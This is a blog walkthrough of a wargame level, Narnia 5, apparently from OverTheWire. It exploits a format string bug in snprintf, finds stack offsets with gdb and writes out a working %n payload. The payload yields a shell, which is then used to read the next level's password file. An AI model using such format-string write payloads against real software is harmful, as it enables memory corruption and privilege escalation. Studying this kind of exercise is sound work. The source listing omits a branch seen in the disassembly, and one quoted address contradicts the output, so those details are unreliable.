Narnia: Level 5

We all have to start somewhere

Posted on May 11, 2017, 8:52 p.m.

Level 5 introduces a new class of vulnerability, the format string vulnerability. As a great introduction to this vulnerability and for all the theory you need for this level you can read Alex Reece's excellent Introduction to format string exploits.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv){
    int i = 1;
    char buffer[64];

    snprintf(buffer, sizeof buffer, argv[1]);
    buffer[sizeof (buffer) - 1] = 0;
    printf("Change i's value from 1 -> 500. ");


    printf("No way...let me give you a hint!\n");
    printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
    printf ("i = %d (%p)\n", i, &i);
    return 0;

The code above is exploitable due to the fact that user-controlled input is allowed to be entered as the format argument to snprintf. This allows an attacker to trick the program into thinking there are more arguments to snprintf than there actually are, which can allow writes to arbitrary memory addresses. These types of bugs also affect other similar functions such as printf and sprintf and can manifest themselves in very subtle ways when the programmer is unaware of the origin of a particular string.

The aim of this level is to change the value of i from 1 to 500. The first step is to decide on the structure of our payload. Any change to the length of our payload could change the offsets of data on the stack, so fixing the length will allow us to start making calculations.


In our final payload we will replace \x41\x41\x41\x41 with the address of i and %000x will be replaced with %496x, so that the total number of bytes printed just after %496x is printed will be 500. We also need to work out the value for the prefix of $p that will print the address at the start of our payload. We can then replace p with n to overwrite this address (which will be the address of i in our final payload) with the value of 500. Running narnia5 with our dummy payload gives us some useful information.

narnia5@melinda:/narnia$ ./narnia5 "$(python -c 'import sys; sys.stdout.write("\x41\x41\x41\x41%000x%01$p")')"
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [AAAAf7eb6fe60xf7eb6fe6] (22)
i = 1 (0xffffd6dc)

We can see that the value of i is stored at address 0xffffd6fc. We will therefore replace \x41\x41\x41\x41 with this value in our final payload. We can now use gdb to work out the prefix for $p. We will first create a break point at the call to snprintf, run the program with our dummy payload and then print out the first few values on the stack from the stack pointer after the break point is triggered. The stack pointer will be pointing at a pointer to buffer at that point. During the call to snprintf, our payload will be copied to buffer and hence the address of i will be the value at the address of buffer. We therefore need to choose our prefix for $p such that this location will be printed.

narnia5@melinda:/narnia$ gdb -q ./narnia5
Reading symbols from ./narnia5...(no debugging symbols found)...done.
(gdb) disassemble main
Dump of assembler code for function main:
   0x080484bd <+0>:     push   %ebp
   0x080484be <+1>:     mov    %esp,%ebp
   0x080484c0 <+3>:     and    $0xfffffff0,%esp
   0x080484c3 <+6>:     sub    $0x60,%esp
   0x080484c6 <+9>:     movl   $0x1,0x5c(%esp)
   0x080484ce <+17>:    mov    0xc(%ebp),%eax
   0x080484d1 <+20>:    add    $0x4,%eax
   0x080484d4 <+23>:    mov    (%eax),%eax
   0x080484d6 <+25>:    mov    %eax,0x8(%esp)
   0x080484da <+29>:    movl   $0x40,0x4(%esp)
   0x080484e2 <+37>:    lea    0x1c(%esp),%eax
   0x080484e6 <+41>:    mov    %eax,(%esp)
   0x080484e9 <+44>:    call   0x80483b0 <snprintf@plt>
   0x080484ee <+49>:    movb   $0x0,0x5b(%esp)
   0x080484f3 <+54>:    movl   $0x8048610,(%esp)
   0x080484fa <+61>:    call   0x8048350 <printf@plt>
   0x080484ff <+66>:    mov    0x5c(%esp),%eax
   0x08048503 <+70>:    cmp    $0x1f4,%eax
   0x08048508 <+75>:    jne    0x8048522 <main+101>
   0x0804850a <+77>:    movl   $0x8048631,(%esp)
   0x08048511 <+84>:    call   0x8048360 <puts@plt>
   0x08048516 <+89>:    movl   $0x8048636,(%esp)
   0x0804851d <+96>:    call   0x8048370 <system@plt>
   0x08048522 <+101>:   movl   $0x8048640,(%esp)
   0x08048529 <+108>:   call   0x8048360 <puts@plt>
   0x0804852e <+113>:   lea    0x1c(%esp),%eax
   0x08048532 <+117>:   mov    %eax,(%esp)
   0x08048535 <+120>:   call   0x8048390 <strlen@plt>
   0x0804853a <+125>:   mov    %eax,0x8(%esp)
   0x0804853e <+129>:   lea    0x1c(%esp),%eax
   0x08048542 <+133>:   mov    %eax,0x4(%esp)
   0x08048546 <+137>:   movl   $0x8048661,(%esp)
   0x0804854d <+144>:   call   0x8048350 <printf@plt>
   0x08048552 <+149>:   mov    0x5c(%esp),%eax
   0x08048556 <+153>:   lea    0x5c(%esp),%edx
   0x0804855a <+157>:   mov    %edx,0x8(%esp)
   0x0804855e <+161>:   mov    %eax,0x4(%esp)
   0x08048562 <+165>:   movl   $0x8048675,(%esp)
   0x08048569 <+172>:   call   0x8048350 <printf@plt>
   0x0804856e <+177>:   mov    $0x0,%eax
   0x08048573 <+182>:   leave  
   0x08048574 <+183>:   ret    
End of assembler dump.
(gdb) b *0x080484e9
Breakpoint 1 at 0x80484e9
(gdb) r "$(python -c 'import sys; sys.stdout.write("\x41\x41\x41\x41%000x%01$p")')" 
Starting program: /games/narnia/narnia5 "$(python -c 'import sys; sys.stdout.write("\x41\x41\x41\x41%000x%01$p")')"

Breakpoint 1, 0x080484e9 in main ()
(gdb) x/16x $esp
0xffffd660: 0xffffd67c  0x00000040  0xffffd8b1  0xf7eb6fe6
0xffffd670: 0xffffffff  0xffffd69e  0xf7e2dc34  0xf7e53fe3
0xffffd680: 0x00000000  0x002c307d  0x00000001  0x08048319
0xffffd690: 0xffffd89b  0x0000002f  0x08049858  0x080485d2

From the output of x/16x $esp we can see that the esp address contains 0xffffd67c. We can also see this address in the output, which happens to contain 0xf7e53fe3 (the actual value is not important as far as this level is concerned, I only mentioned what it contains to make it easier to find). Now, if we were continue the execution of our program (by running continue in gdb),%01$p would print the value 0xf7eb6fe6 at address 0xffffd66c. Hence, in order to print the value at address 0xffffd67c we need to use %05$p (since incrementing the prefix by one looks ahead by an extra 4 bytes). We now have all the information we need to construct our payload.

narnia5@melinda:/narnia$ ./narnia5 "$(python -c 'import sys; sys.stdout.write("\xdc\xd6\xff\xff%496x%05$n")')"
Change i's value from 1 -> 500. GOOD
$ whoami
$ cat /etc/narnia_pass/narnia6


Latest Posts